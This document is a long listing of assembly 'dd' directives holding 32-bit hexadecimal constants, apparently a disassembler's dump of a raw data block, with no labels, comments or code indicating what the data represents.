dd 0DF4D775Fh, 0CD03625Ah, 91E3148Eh, 7B7FB889h, 66C00A8h
dd 8FE1D87Dh, 6E00735Eh, 0C4D60F6Fh, 1FFE6B2h, 54DEACC5h
dd 81DDBA2Ch, 74AE9180h, 0FEF0AF50h, 0C0A37B5Ch, 7010E999h
dd 46071152h, 0E477E30Eh, 0BA97D590h, 5B8B06F6h, 0A0DE1CD4h
dd 7D3F5A01h, 7CDB6CA9h, 69388080h, 0F93E944h, 0A87A751Eh
dd 0D6F76680h, 0C3C730CFh, 0F059D888h, 0ADE5CDF8h, 5A376C05h
dd 94010C7Eh, 0A14F9791h, 30F0ACF0h, 3E58AE19h, 48503953h
dd 6208D548h, 0AF78BA0h, 3C8BCDCh, 0AE3908BAh, 59D67406h
dd 23E8D7FAh, 3962522Ch, 0CD4C1C48h, 5A6207C9h, 5BF05D86h
dd 0C0C82AE4h, 0D87692F8h, 0B678BDE7h, 0F8D93328h, 0B9A54E00h
dd 4B3BC060h, 0D57700BBh, 0D2CAB371h, 5E984668h, 4F8E501h
dd 0B274F25Ah, 3120F8h, 0D2C72B95h, 34B889FEh, 0AF5F9101h
dd 0E82A7240h, 0FF7B5F8h, 6B9E8C7Ah, 0BAC2C542h, 206E74E0h
dd 0AC47BE39h, 79007F5Dh, 0BF6D5C0Eh, 0FDC300ECh, 0A6A47778h
dd 0CB1FD469h, 994EF013h, 3F4723A9h, 3C65C89Bh, 0FDED00B0h
dd 0DF857D38h, 0DD7C0489h, 5C3C0C98h, 0FA0572E2h, 164B46AEh
dd 0B20943C0h, 246C135Dh, 0BA7D07C5h, 9C04101Dh, 0D7F0219Bh
dd 0D93F2A00h, 37C3D6B9h, 6DC80F3Eh, 0D8C03068h, 871B825Bh
dd 71DA0500h, 80BE34C3h, 2DD60783h, 0F0624DFCh, 0A593F548h
dd 51791807h, 5ED052FBh, 12129820h, 0F67E38Ch, 0A0E0158Ah
dd 5256F5C6h, 0E9371D00h, 7DE4459Fh, 53E204C1h, 90B90834h
dd 1C2234Ch, 9297AB03h, 0D88CD52Ch, 90F870h, 0D0FC15CBh
dd 5157B966h, 801DCF0Ch, 0DB39D5h, 687D0BC2h, 0FE257824h
dd 0EA75C900h, 504C19AEh, 0C606013Ah, 222A6A8Fh, 2B84511Bh
dd 295B308Eh, 0E2986100h, 0B81A1D39h, 89AA00B7h, 15BA34A0h
dd 850314BBh, 42BFCA92h, 8C2CE831h, 578716Bh, 0F5AF4EEBh
dd 8FA9C1BDh, 4812D436h, 232E61C6h, 17FF0BE6h, 8E002494h
dd 28EA5EEFh, 88422500h, 0E899B787h, 0C8266666h, 94005889h
dd 7C995A4h, 0F506D25h, 0C597F35Ch, 0D0607FCFh, 0FE9F9BC1h
dd 671FDE01h, 0A959C426h, 11E032E9h, 347E0301h, 57F16E6Ah
dd 96F3D8F0h, 4DEE4801h, 0EFDE9B81h, 2413E3E4h, 0B20CD0h
dd 3CB595B7h, 9000DC34h, 4D8335A3h, 81DDA1h, 2F720AF7h
dd 7997E115h, 5453660Fh, 14B84345h, 3C08C0DFh, 5A0900C4h
dd 0EE436F5Bh, 82014BF0h, 7363D222h, 0E5E42CEFh, 903F0B48h
dd 0E741BC5h, 7702A300h, 985F34h, 3E9B3047h, 5632089Eh
dd 50448h, 0A3468FC0h, 0F0212Dh, 1A5A280h, 0FA6FF12Eh
dd 91D66200h, 0B87ECB82h, 289EA7Fh, 66DBFDF3h, 0CCE07CBCh
dd 0F80C5950h, 0B010DE74h, 514B06E2h, 4128E0FDh, 0DCE886C0h
dd 0AD97BEh, 7948A03Ch, 0F83B53B4h, 0CF85E100h, 10FA91D0h
dd 783A008Dh, 35D57EDBh, 6D770A49h, 588E8A07h, 7B00EE47h
dd 0B76ED4h, 9EA8E7EDh, 0FB4E07CFh, 0D0632007h, 2560E43Fh
dd 0A0427E16h, 7097A95h, 0BA75582Ah, 5B3C80D7h, 0A24C65A7h
dd 0D3387CEDh, 0CCED84A0h, 20C07A9Ch, 904DE68h, 0E4AC8A85h
dd 507C9E00h, 672C70FCh, 62009399h, 0E8A05ED7h, 0DD77D2h
dd 68B5F44Ah, 82BA2359h, 83300F06h, 1847E3h, 99F5387Dh
dd 76C1DDEBh, 7A533Dh, 5BBD7C0Dh, 7888634Dh, 0F3360079h
dd 324211C8h, 7A54E145h, 0DF071AD0h, 3B8C92A1h, 8770B5C0h
dd 502B48AFh, 0D9144904h, 961481BDh, 8F21C068h, 0B3D1A70Ah
dd 788FC0BEh, 7FA460FBh, 123F2DDh, 151136F4h, 0FD8A808Dh
dd 2F8C8C7h, 8097B13Dh, 330E3A7Dh, 0CB84F1h, 3EFE5011h
dd 6BD22F5Bh, 0C0ADC0E1h, 0DD6F4D03h, 98928D8Eh, 4C37DB48h
dd 7341C7h, 854697B0h, 1FCAA3C2h, 7F288E00h, 621E693h
dd 2398122Bh, 0F4813A8h, 96EBD172h, 3A63B200h, 0C749537Dh
dd 73D6007Ch, 0DB590AFDh, 0E86490EFh, 6CC8007Ah, 322A9D9Fh
dd 5F0DEEC0h, 20013B71h, 294F072Ah, 0C284F0C6h, 0CD03D1D4h
dd 35C1EE41h, 13B7F069h, 2BE30096h, 0B9FDC8A0h, 0FB00D62Ch
dd 0B24DF3D1h, 0E7D38A8Bh, 0E98651BBh, 90EBD2B4h, 0CB4E1012h
dd 3ED1DF03h, 0F03AF83Bh, 20BC07FFh, 0F02F961Eh, 7192CA64h
dd 0FB9DC800h, 0BB32C444h, 6C280083h, 52A193F0h, 4C07D774h
dd 0B0BA7141h, 1A1EE0B0h, 28313AD3h, 9FE5BD87h, 0F99EE022h
dd 2000383Ah, 2AE106C9h, 94C4C7h, 0FA07F518h, 0AEB6E26Eh
dd 0D821381Dh, 91E85098h, 8FB0009Ah, 0F2B13329h, 0F400B66Ah
dd 0A9D7A41Eh, 1743A7h, 2002ECE9h, 5F301648h, 86752E00h
dd 0E562F0Bh, 0B8170310h, 6EA198E0h, 0DDEA5BA0h, 76ED1D00h
dd 10B4037Ch, 0A0C300F1h, 72E36CFBh, 2E03177Bh, 1CE45F8Ch
dd 0C3E1D0CFh, 2F380054h, 9B88C993h, 0EC795A3Dh, 2100B379h
dd 0AB41E475h, 0E8A614h, 672B9404h, 0C9A28BCDh, 0BDCA48h
dd 0C7410591h, 3ADFF66h, 1597730h, 32B84E0Ah, 2D4CA22Fh
dd 0C3D9004Ah, 18203927h, 0E09A03E3h, 79354351h, 0C4FC2381h
dd 4B009B12h, 0C37C86DFh, 77B193C6h, 612F0028h, 0D0B31CE8h
dd 263B7178h, 1644DCAh, 0FC01AB95h, 5102F0Ah, 0BD008C1Bh
dd 9D97E75Fh, 0D8A790h, 89A22DA6h, 326F6056h, 0EBFD5D00h
dd 959C10Eh, 17420075h
dd 8F1618A2h, 4CE47DD0h, 0AF5E3B03h, 0A8C08D2Ch, 0A3F184h
dd 6BD14698h, 37C8D63Dh, 3F85733Ah, 8B210FFBh, 66A7805Dh
dd 0B02D0660h, 75053A13h, 51ED850Ch, 1460DC20h, 7B026E10h
dd 74DA3C61h, 2A52E000h, 0D61781F3h, 72E68B00h, 51603A01h
dd 0E120C25h, 2D612656h, 0DFB2D800h, 0E85F5837h, 0FE123601h
dd 0CB142140h, 4C8F402Ch, 85A86F0Dh, 0E80FB06h, 0E7CC5Ch
dd 0E94DC8C3h, 0CF586349h, 0D02CA03Ch, 4201B587h, 0D0FF5D6Eh
dd 5C0F027h, 6FBD0EEAh, 0CD8021A8h, 0E9F235F3h, 2D51D900h
dd 8B70178Ch, 252630B0h, 20123681h, 6A50C3Ah, 7AAD1341h
dd 21196008h, 1D200A67h, 83009F74h, 0F354DCBDh, 7FD00Fh
dd 85C478B5h, 44B0A3B2h, 0E031BF03h, 0B7153F66h, 36643330h
dd 0FDDA102Eh, 167910E6h, 3580510h, 9AC24147h, 2511002Fh
dd 1D15F0A1h, 0ACF253C5h, 0D908BB66h, 90687521h, 0D13000EEh
dd 0E963101Eh, 0BD00DD14h, 5B96CFF2h, 0F753C9h, 9B33792Bh
dd 8537A85Ch, 6D779A03h, 3B82A76Fh, 831F0819h, 8D3C3CA3h
dd 966AC900h, 0CC9DCFC4h, 87570B03h, 0BF23C76Ch, 70E530CDh
dd 99566D00h, 377B641Ch, 0FE204FC0h, 0F5D618h, 33C894E8h
dd 0A1BE3F05h, 589FA000h, 61EBBFF0h, 0AF75002Ah, 0B7171E71h
dd 9001AA4h, 0EEDDA73h, 1936046h, 29763A7Fh, 887204FDh
dd 88A57328h, 0F790DB5Bh, 51F80486h, 0D911CF42h, 800B11D5h
dd 29FDB118h, 7809AABh, 36BE0026h, 24D7EA61h, 89055CAFh
dd 0F7E68659h, 0A5B98305h, 0BCCC8580h, 0D5FA1F82h, 384D40D8h
dd 0FA23A84h, 0F2C2F800h, 0C3C8487Dh, 0C5690299h, 3D202A10h
dd 53005A58h, 5AFAEB70h, 0FE8BCBE9h, 0DE4D12EFh, 816B0024h
dd 0F66BE682h, 5BFE7500h, 3A1DBB76h, 638C0096h, 2A3E660Bh
dd 24000106h, 7801FAEh, 3FF3EC28h, 11800477h, 27573CB7h
dd 0B53E5B55h, 6C7F8061h, 592ED512h, 150B0AD2h, 93C073h
dd 0CF386B93h, 2B13C577h, 0B20F92FCh, 17FB2029h, 394F78D4h
dd 0FA80E6A7h, 0D2F7E159h, 1D03222Ah, 7AB044C3h, 0B211E01Ah
dd 0EF3A0B5Bh, 0CF803E27h, 5DFA2C9Eh, 83B5961Ch, 3F2E1107h
dd 0F24E1FD3h, 0E034613Dh, 69ADC4h, 0BF9BAA66h, 0C7A2E550h
dd 0EB93200h, 61B24BECh, 0BCBE0142h, 3F413806h, 0B1E8D7F9h
dd 0E1585BD5h, 81C907A1h, 0D505CE5h, 0E4075Eh, 9D6AB98h
dd 1953D308h, 0C205FC75h, 5987DB4Ch, 0AA859080h, 0EE2C30DEh
dd 0C98D2361h, 0C3A51200h, 4815F73Bh, 335000D9h, 0CE89BF70h
dd 0C6382A0Dh, 0E19600EBh, 23783FBh, 7B400032h, 4F7F15F9h
dd 980012E5h, 0E0626982h, 65B6D7h, 57258E63h, 0ACC9FA5Ah
dd 52AB4301h, 6B72D0B8h, 0FCF030D0h, 60B051h, 4EF2D426h
dd 8FBE769Ah, 0C10059E6h, 0BBD7C3D3h, 2612F1h, 6DECA61Eh
dd 0C941746Ch, 4BD89500h, 0BB5EDFC6h, 3F6400FDh, 0B5809389h
dd 0D4280288h, 2800CF52h, 92EBD039h, 3DB23D3h, 48BA95A3h
dd 17A09CB9h, 65004555h, 23E7AE15h, 0DF5069h, 0E6E5E929h
dd 5C2B5BABh, 65482514h, 0C33D98h, 940DF232h, 61A0BCh
dd 0B215ED03h, 2B405C5Fh, 0C4F84E00h, 0F61F45B5h, 0BAE4005Eh
dd 0D1D2B17Bh, 3C01860Eh, 0ABD63683h, 80803524h, 0AE10C467h
dd 0B8001F84h, 0E47CC215h, 24E86Ch, 4D69BA4Ah, 6311C80Fh
dd 0C98E3300h, 0D35903D7h, 60A198F2h, 546029B1h, 0F012CA05h
dd 1C20C043h, 8E6D82h, 0C1158CD2h, 789B76C8h, 454AE00h
dd 0B23DC72Ch, 2C90C3h, 88D2890Fh, 0D10B11CAh, 0B37B101Fh
dd 0DB2DF4C6h, 1D5A02A2h, 0E962DEA9h, 87892049h, 0B88C3191h
dd 0CA9D0160h, 7ED90067h, 70D0F74Fh, 900CAB0Dh, 190A82F4h
dd 877124h, 0DE8B654Ah, 0ACC74027h, 7BDB1800h, 6B10707Ah
dd 4FE500BBh, 85F2CF72h, 157A5E58h, 0A97B9C00h, 59C81CD3h
dd 4F9B5C94h, 793EFF03h, 0B8888423h, 410E3178h, 0A0A69854h
dd 66C0354Dh, 0C67A93h, 8F9B3B33h, 20ABE05Fh, 87C41F39h
dd 9C50C040h, 0B5F1E8A0h, 98BA0334h, 6BFC2EDEh, 6E88399Bh
dd 0C0066B8h, 5881205Ah, 19B071h, 0AC2412B4h, 693AFB17h
dd 0ADD5F10Fh, 500BDDFh, 18CFD90Bh, 826800C8h, 80E8C0B0h
dd 0F3EAD38Ah, 0B10012E2h, 0EC6A16BAh, 3373A1h, 0A28C4A72h
dd 431DD8C4h, 0AC5E5700h, 38FBA7C2h, 6C2A0065h, 0F1DBFF77h
dd 2E006F83h, 0B3261891h, 0BCAB29h, 0BEDDB803h, 83C49B98h
dd 0B48C2500h, 0F429922Bh, 4B5A007Dh, 0DBBBCAA5h, 6339F161h
dd 3AA18037h, 180D11E4h, 0F050039Eh, 3329C8E7h, 0F34E8488h
dd 5FAF971Dh, 43F46B40h, 4A618h, 0FD4A63D3h, 51B9F60Ch
dd 0E509200h, 263270B8h, 6BC11E02h, 0D19DFE74h, 0D45FC7FFh
dd 0EE29E07Ah, 0C600039Bh, 0EF9E646Ah, 7036F6h, 8EFCA48Fh
dd 1242848Dh, 3DE66514h, 0B05A00ECh, 0C40ECDF0h, 343F00F8h
dd 0E65666D2h, 243F41F3h, 65A5807Ah, 1569D0A8h, 0E7500E6Ah
dd 0ED856DFAh, 4895C644h, 71DB4700h, 2AECB5BBh, 0CF243EEBh
dd 91C600F3h, 2633C58Dh, 2D1CA6AAh, 0A740079Ah, 6C2889B3h
dd 126F003Ch, 2F91BB32h, 0FC00C6FEh, 0D97CD4DFh, 7704B35h
dd 0D1B38C46h, 388F51C8h, 82DAF499h, 692080E5h, 8494E4CBh
dd 9D332485h, 16A930C7h, 3A600D7Bh, 0B7D214A0h, 0E02B0285h
dd 0A654C7C3h, 7155A2C0h, 6F265800h, 0CAB605Dh, 0FD0F3D19h
dd 308EB000h, 5B19B3Eh, 0D674A900h, 184A6268h, 2BB01ECh
dd 0CA2A6FA7h, 0C340E28Fh, 0B3024E92h, 0B7BFE709h, 7AE64061h
dd 6FFA3Ch, 22502871h, 84166359h, 0BA68F600h, 47387397h
dd 6BB001Fh, 0C94522A7h, 7D2C19E8h, 5F006EA8h, 2479A450h
dd 66EE003Ch, 7B082588h, 0FF393599h, 0FA54002Ch, 0B00292DAh
dd 0F8796F84h, 0A9873EC0h, 0F7737F5Dh, 6FBB7300h, 4ADF4D93h
dd 12AD09D4h, 0F5C5CBh, 0F6F7F97Eh, 12D2F2B0h, 1A521FAh
dd 91DFDB9Ch, 9030F8B8h, 4A945D00h, 29CEE2CCh, 7E3904E5h
dd 0C062FBD4h, 0F9428628h, 55725A18h, 0AC7F10h, 0FD22D66h
dd 54F02802h, 7BF6A0C0h, 0FE3C349h, 3475F4Bh, 2010D2C7h
dd 6D4FF919h, 2D04CA00h, 55499A93h, 1B8B8C2h, 7AF0BE5Fh
dd 0F43F8738h, 0EF07F1AFh, 0F5721643h, 1C8127F5h, 56C4D16Eh
dd 0EDD73A80h, 3F04D38h, 16C0F8CFh, 100FBA6Fh, 63EE5F43h
dd 0B08DFCDBh, 793FFDEDh, 0D9F40065h, 0A9C482FFh, 0DA74F71Ah
dd 0E339B006h, 487CDBC7h, 0E025CFDh, 0C092C58Fh, 0BC8CDD60h
dd 5949F50Fh, 9C09C1Bh, 0A8FC3DD2h, 904E00B5h, 70153198h
dd 517195AAh, 40FDE5EAh, 0AE6450B0h, 0EFA6B413h, 0EB4010h
dd 139DD949h, 0E886D8h, 9E1D759Fh, 37989BC9h, 49309C00h
dd 0C04C2E9Ah, 0DFD507EEh, 0F647F58h, 3AC7F420h, 40012582h
dd 1D92AFE0h, 22DC59E8h, 767E878h, 0DD998D4Ah, 0BEBC60ECh
dd 7F5C57C9h, 0A50B07CBh, 8970B1h, 61FE6FD4h, 0D81F00F4h
dd 0E84D487Eh, 6B04F587h, 0BFCE45AEh, 16C0F8C7h, 0F862F64h
dd 30ABFB1Ch, 403E3907h, 0B17440B3h, 808F6A38h, 50987D24h
dd 1CB5732Eh, 1854ED5Dh, 5731283Dh, 2000D2B0h, 0B2DD985Ah
dd 52C1AEh, 0E34A4E6Bh, 766CC3B3h, 3B131502h, 0DF9C73F0h
dd 80F81C43h, 31003D83h, 178F9426h, 1ED6AE37h, 49E9666Bh
dd 0FC00089Dh, 32F4D2F7h, 9537C900h, 38965D5Ch, 63FE3B28h
dd 801FF300h, 0A3C18B3Eh, 4E008DE6h, 34B12330h, 14D56087h
dd 0D8A40A2Ch, 3779A38h
dd 70E6CC05h, 30EAA2ABh, 0CEB66060h, 320F3575h, 0E0E77161h
dd 5308CAC9h, 2FA93012h, 1579A5E0h, 0F4886D09h, 4850A7D2h
dd 7F8CA270h, 98C8C32Fh, 0F5D04B8Bh, 3C777675h, 3A73DA10h
dd 0CDCD28h, 0D625FD5Dh, 221C2B29h, 0A4A057F0h, 0FB007E8Bh
dd 7866C7C6h, 3F121F24h, 0F08E03DAh, 0EF00C5FDh, 880DCBA8h
dd 0C2B6C07h, 0C300CD1Eh, 609FD276h, 8C57901Ch, 0DD000598h
dd 70973C26h, 0B8E6ADB7h, 776A079Ch, 0F0CE568Fh, 299FFA16h
dd 23547001h, 0C6E112B8h, 0F7DA8C0h, 8C39696Ah, 0E9AC6B43h
dd 0F1B31BC8h, 0FF0C7214h, 0A5009DA0h, 0E7AFDC4Dh, 0D9D0C33Eh
dd 48B27D3Fh, 97727340h, 0CD383C7Bh, 2060099h, 0CC3A5723h
dd 12BC0015h, 437FC3D0h, 8AC022D9h, 8C3BF339h, 0F7933C6Ch
dd 0F4F9BAh, 1FD0AC9h, 55ED6D36h, 5DCB3400h, 5427531Eh
dd 26370315h, 964ED307h, 110FFCE0h, 0F51B58h, 0E97B2DB1h
dd 0E41CA348h, 59443CB9h, 91DEE380h, 0B02BF16Bh, 0A00198E8h
dd 9572A29Dh, 0E280CCDBh, 0AC21C396h, 0F000D9CDh, 3D8D852Ah
dd 1207CFF3h, 536CDDh, 0D4706728h, 0C10757B2h, 0F4D73AC0h
dd 3C50900Ah, 0CE1F0042h, 63898825h, 33EEB1C6h, 403060B0h
dd 0C2EE620Eh, 0E5E671h, 3E141EDBh, 0C57504F9h, 1C0010FCh
dd 5EB0FEBDh, 408A30h, 0BAF841DFh, 0D6081BC3h, 38C06C30h
dd 16D1BE25h, 518134h, 389F5E84h, 0B70959C7h, 7C8AE9DBh
dd 0A5F8001Dh, 2699A1D2h, 8BE12200h, 0FA72B254h, 0AB0D3ED5h
dd 0EB37040Bh, 38F33900h, 0E0013632h, 11814418h, 7434462Fh
dd 359F07A2h, 120FA684h, 644101D4h, 0F53BC855h, 374BC58h
dd 0ACA17009h, 59110F3Fh, 69E0CC64h, 3D6AC777h, 89EE0F16h
dd 5A706400h, 1737805Bh, 0EBC108B3h, 0D5109h, 0FEE19803h
dd 0E03B5897h, 22B231Fh, 4D050B0Fh, 0C019AB41h, 6F00BE90h
dd 956DC7B5h, 7E4EA42h, 0F0A07A1Fh, 861D04CBh, 90E310Fh
dd 6025CC77h, 0FF61E1B1h, 4CD70F45h, 9B00CEFCh, 528FEFEBh
dd 80F84A00h, 0D2B0E42Ah, 91410E24h, 9BC0F6D6h, 0EEABDAECh
dd 2EA44E00h, 6434E0F7h, 0C37330h, 48170F03h, 0CB75CFEDh
dd 209C03Ch, 96994F5Bh, 663AE0E5h, 0B0CD7FC3h, 54AF00ECh
dd 1582336Dh, 2017CFE4h, 1C0568CBh, 30C0C965h, 3E2B3B11h
dd 0F5CAA60h, 0C1005C49h, 0E9BB7B8h, 463F7BDBh, 0A03E80FEh
dd 601C8A5Ch, 37CF00EFh, 0EE6C8DBDh, 0FB50EA28h, 0C757FC4h
dd 0FA00E677h, 98BDBE2Eh, 0B851D71Bh, 332B00C8h, 42DDF815h
dd 0CFA03CF3h, 5C0FF157h, 819F8075h, 0A3F80D73h, 0B3031C8h
dd 878ECD4Dh, 69931C80h, 3B00DC8Fh, 9FBEBF2Eh, 0ACA514h
dd 9A6054C0h, 0A240E74Dh, 962FAE00h, 0A64AF99Ch, 0A10C399Fh
dd 5220F600h, 0B5B3856Dh, 6BDBEF00h, 93E6CC9h, 8AB960F4h
dd 3754D19Eh, 12E2D400h, 7855D815h, 13FD0033h, 1DF92E6Ch
dd 0A703839Dh, 0BC237A9Eh, 0B10CD82Ah, 0BC3D48FCh, 0CB1F7238h
dd 0F02558FEh, 0C800CE7Dh, 33DEB0B8h, 9AC7909Dh, 842A14F0h
dd 0C6028551h, 8501370Dh, 0CFD2040h, 94C1A00Bh, 0EE81811Ah
dd 90705996h, 0C5D70C23h, 0A4401B56h, 0E0A8C7FEh, 0B3500790h
dd 9C16D384h, 0F0001A6Bh, 66CE7CE2h, 7EC902F8h, 557B3E85h
dd 0A3193060h, 0C1DAFF00h, 4274900Ch, 851E009Ch, 15B1E1F2h
dd 54007D61h, 8E5E9A0h, 0E73353Eh, 0D8CD4F8Bh, 2B7EE6C1h
dd 0BBF1CCC3h, 75786100h, 4DCEC2DBh, 5C176D7h, 0FCB9A82Ah
dd 8509188h, 0BA737018h, 2D0E1403h, 0E905BDADh, 702CD878h
dd 44B5D600h, 0E836FB5Bh, 722D9007h, 92602411h, 1FA4BBh
dd 0FA37F433h, 6DE17F41h, 0B80002F6h, 48E53C73h, 2884B01Fh
dd 0CCD690h, 29DFC3ECh, 7C285A8Ch, 0BF2CF53Dh, 1B3C0254h
dd 60B8AC22h, 5E66E540h, 0B307B0D2h, 20000CB8h, 874A2B86h
dd 24EEFB28h, 0E4438A9h, 0DC00FE76h, 0C921553Eh, 72C65F00h
dd 0A3CE3BF1h, 0E5360A3Dh, 9CC6F9Fh, 9F009A16h, 0DEE65CBDh
dd 3C793E01h, 0DF4FD069h, 8A18E4h, 98904D25h, 3931F232h
dd 0FD709500h, 9EBFA367h, 0E7C30044h, 0E9547FC2h, 1E0D15CDh
dd 689246EFh, 0AD1227FDh, 0B00EF4A9h, 0C6DB0720h, 27015C83h
dd 444BFF3Fh, 0C1D8EE68h, 0F230032h, 0BF0650C9h, 0E17883Eh
dd 0A31EE5E4h, 5E2D3D45h, 17CE048Ch, 35657Eh, 1624F93Ch
dd 367FEF1Bh, 0B7936800h, 0CAAA07C1h, 0B65A00D9h, 0BC52FF6Eh
dd 3000F579h, 0AB43E6FCh, 7528198Bh, 856F09B5h, 9000C8D2h
dd 0DC40FA6Ch, 0E4645000h, 0B8912062h, 0CC4B0306h, 1C3776FCh
dd 85E01398h, 0B4E9CA00h, 4E63537Dh, 3562000Ch, 0B082379Fh
dd 0CA007B3Bh, 4AF3B1A2h, 1901A88h, 80200866h, 0D8F0C9FDh
dd 0A8B204B8h, 963BA100h, 29854962h, 14EB02FCh, 794C0EB5h
dd 0F50B2AE0h, 4F28CD01h, 0DE467F6Dh, 0D724DCh, 6FAC5E55h
dd 863CA306h, 0DB337626h, 0C8D31F04h, 582F7880h, 0D42A0063h
dd 3C8EC90Ah, 0D6245999h, 5400C3h, 0E9BE2656h, 177E534Ah
dd 0CC443726h, 0A003EB92h, 0DFBB3CF6h, 0C8CC5180h, 64CF0531h
dd 23FEC4h, 0DC4C91CCh, 0D4E722CBh, 8C035F76h, 0A2E4F461h
dd 2374001Bh, 17D2CF15h, 7A1E550Ah, 0A8AEE73Dh, 0FE382701h
dd 0AC605331h, 626C00B8h, 847C8955h, 9C0106B2h, 4B36ACDCh
dd 0F040B7D2h, 0FAD83ED9h, 68741CD3h, 0F0CA80DFh, 0C715EA47h
dd 0A84A6100h, 2BF7A45Ch, 0CCB4025Dh, 0A0F972CBh, 636A88E0h
dd 0D20EDF00h, 52B333C0h, 39C9471h, 7232E1ACh, 0E24C8A90h
dd 0DD188600h, 6D9E1785h, 3A640002h, 2DEAA6F8h, 9B013E37h
dd 0EEAF4331h, 73FCD8D2h, 0FF6B0068h, 0FE9CF9C3h, 31005A58h
dd 74CC2581h, 7529926Ah, 0B1E600EEh, 0CBE277Fh, 7D1C7AD9h
dd 530296B3h, 0C04A20F3h, 7FA930h, 241FB795h, 8A791D8h
dd 71AD5500h, 0AA18D2FBh, 2C070394h, 0BC16C047h, 404B26F8h
dd 0BD78C93Bh, 29348089h, 0D9B86DFh, 37E20022h, 97C97FAFh
dd 0FDFCEA92h, 0CBA10100h, 19BD605Dh, 86382498h, 0D5B60724h
dd 87B1939Ah, 5931101Dh, 0B918BDC0h, 0E88D88EAh, 0CB5E00F2h
dd 484EDE24h, 723ED6F4h, 0A000FFEFh, 62DA273Fh, 6BB75Fh
dd 7BD2905h, 0F4FE32F7h, 0C1A07628h, 75C4A40Fh, 307987EFh
dd 85F9C0DEh, 0F6769A2h, 0D94A91F3h, 7EA8A6E0h, 0A1F6861h
dd 7013E5CEh, 201E384Bh, 20A66DDCh, 0D21C0E36h, 7773AECh
dd 0D0725B92h, 0CF068744h, 8E2DEB00h, 434A7B26h, 0F7351C9Dh
dd 17D580D6h, 0B1765378h, 16B44800h, 3CCADEDCh, 716CB029h
dd 0C87B0539h, 68E84Ah, 763AE308h, 0A94E93EAh, 7E239003h
dd 32A1B85Fh, 0B9AB3A96h, 9FE39A1Fh, 0FF3D39ECh, 0F07B5380h
dd 7AD3BB3Fh, 0C6CA700Ch, 1FA9182Ah, 269FAA06h, 0F7D17A1h
dd 9A809714h, 0AB87EB03h, 0F3EE5D1Eh, 4490ED80h, 5313954h
dd 32A9D37Eh, 9488415Eh, 508AABC8h, 1DE7A154h, 8A04373Eh
dd 5894EBEFh, 7CC18F00h, 6E5122FFh, 1CA0415Ch, 0BC370EE4h
dd 0B1141000h, 79CF4DC5h, 11A50740h, 3E84511Dh, 92AFE200h
dd 0E3019C0Fh, 0C80C4254h, 970A2D9h, 5A5E0078h, 4B993BAAh
dd 70C01184h, 0FCC0B46Fh, 72CE0016h, 0D558A74Fh, 0EA002DD0h
dd 7EC72F92h, 762EB3F9h, 80D096D2h, 0CE894A90h, 2400C1FBh
dd 0B4504191h, 4BE3431Ah, 99D80010h, 0EF0CE47Ah, 0AE4A0416h
dd 2844E000h, 49862D2h, 6E35C3ACh, 64FC801Fh, 70060B4h
dd 0B120E2C0h, 715E49h
dd 92FAD905h, 747E38A5h, 310069F4h, 427F6114h, 17F9BA95h
dd 401E9DDBh, 0EF553220h, 830006F8h, 0F25FFC5Dh, 909A0759h
dd 0E00A00DCh, 3D56584Dh, 0EE001B8Bh, 7AB904ADh, 60476960h
dd 0B27362F2h, 0DC00DB15h, 573BA49Ch, 0F581E2h, 0BA1F16C7h
dd 196BC4F3h, 0D4BC750Bh, 2C8B40h, 9655DAC8h, 1F620E5Ch
dd 0B80BBF1Ah, 7CF1A407h, 5500A781h, 78BC1C9Bh, 36A0917h
dd 0E33520C1h, 7BD82E85h, 0E3B8AFF3h, 0F8309860h, 6328028Dh
dd 8E5A1157h, 2CA65090h, 15B913Fh, 0D560BF83h, 0B868E39Fh
dd 3D67C7Dh, 578B0B20h, 9098E7F0h, 9C7C33EFh, 8CB85800h
dd 644B05D0h, 14E7C5Eh, 0C88081A6h, 0C5A8659Eh, 0E24424A2h
dd 0FBDE5700h, 5A93F2DAh, 41560060h, 4CD0108Ch, 4F002982h
dd 5E901957h, 0FFA1D5h, 0C3F1E118h, 8A873E26h, 33B8C800h
dd 78F6E89Ah, 0D09832h, 72916630h, 0DD54073h, 0FC011290h
dd 1FEAC783h, 0B3204C16h, 0EEBD3DAEh, 3A70E07h, 937B80D5h
dd 0E703D842h, 91FF57C9h, 6709B126h, 4C20FC31h, 12810046h
dd 8CA6F52Fh, 3D009737h, 104D40DFh, 2CE461FDh, 93F4C22Ah
dd 85F8403Bh, 2508BFC9h, 6E31911Dh, 3EFDAF00h, 1FAA6035h
dd 87FCE1B2h, 0A0C64DD3h, 0D55B81E7h, 0BB1F0F17h, 3A91ED00h
dd 19CF7Bh, 0A2FF0216h, 6FD51522h, 1D004FFCh, 0A85E1027h
dd 1DA79EDDh, 1F1C154h, 6C5DCE53h, 0B4E464FDh, 5804B54Ah
dd 8B206B55h, 0F639DA4Ah, 286E0045h, 0B6CD634h, 191B028Eh
dd 31C9111h, 1E7F1C40h, 41016EFDh, 0A5DAB790h, 14E0488Eh
dd 2AC4EEC0h, 3E7DF8D6h, 0A405824Ah, 0BC403A62h, 4B211CCFh
dd 0EB78001Eh, 99AF19ADh, 6812390Ch, 0AC003CD4h, 69B58F7Bh
dd 0DF2501D5h, 110296Ch, 302C1Dh, 8821A83Eh, 0E14443h
dd 0F8DF57C2h, 5992F1BDh, 0C9727901h, 71F52D28h, 0FF6960h
dd 0E75024A7h, 0DA20484Dh, 0AE908A00h, 0D1473A85h, 0BE4E0029h
dd 11BAB915h, 6A00C9C6h, 9518C061h, 3C35CF3Bh, 0A70EB74Bh
dd 0D4201222h, 8A602588h, 178C401Eh, 0A61C803Ah, 437F0B65h
dd 0E2AA0F85h, 488B9794h, 3903D500h, 9D123396h, 784FD02Bh
dd 0AEED6374h, 78E4B492h, 0B95F0390h, 530B54C0h, 0F9A92BE8h
dd 399BCC18h, 983AF0h, 0E4CDEC26h, 733E0ABCh, 92C17703h
dd 889B7F80h, 119832h, 0AD7860FDh, 350F28D3h, 0B6E18D00h
dd 4AA992A1h, 284F7339h, 84E622h, 0FFD48344h, 0FE6BD294h
dd 0E520C500h, 812D5539h, 0B83461B9h, 15ECABh, 56084DFh
dd 2BE3A4B6h, 0A5D8053Bh, 0B05DC5A6h, 0EC043EACh, 1C9FC7E0h
dd 3C0194D0h, 180D7209h, 298BE44Eh, 880C7296h, 4921EDA6h
dd 4C6F0F36h, 0CB40E9ADh, 779D7AB7h, 0BB00B5F6h, 0E2EF7CC2h
dd 976056h, 34CFB310h, 0DAE7D46Fh, 2FB45248h, 0E24400CBh
dd 45C1CE8h, 0F4918496h, 7CB27Bh, 3C6C2BF6h, 0F77F881h
dd 4719D0DBh, 43DA0156h, 0DC945978h, 7500416Eh, 32888910h
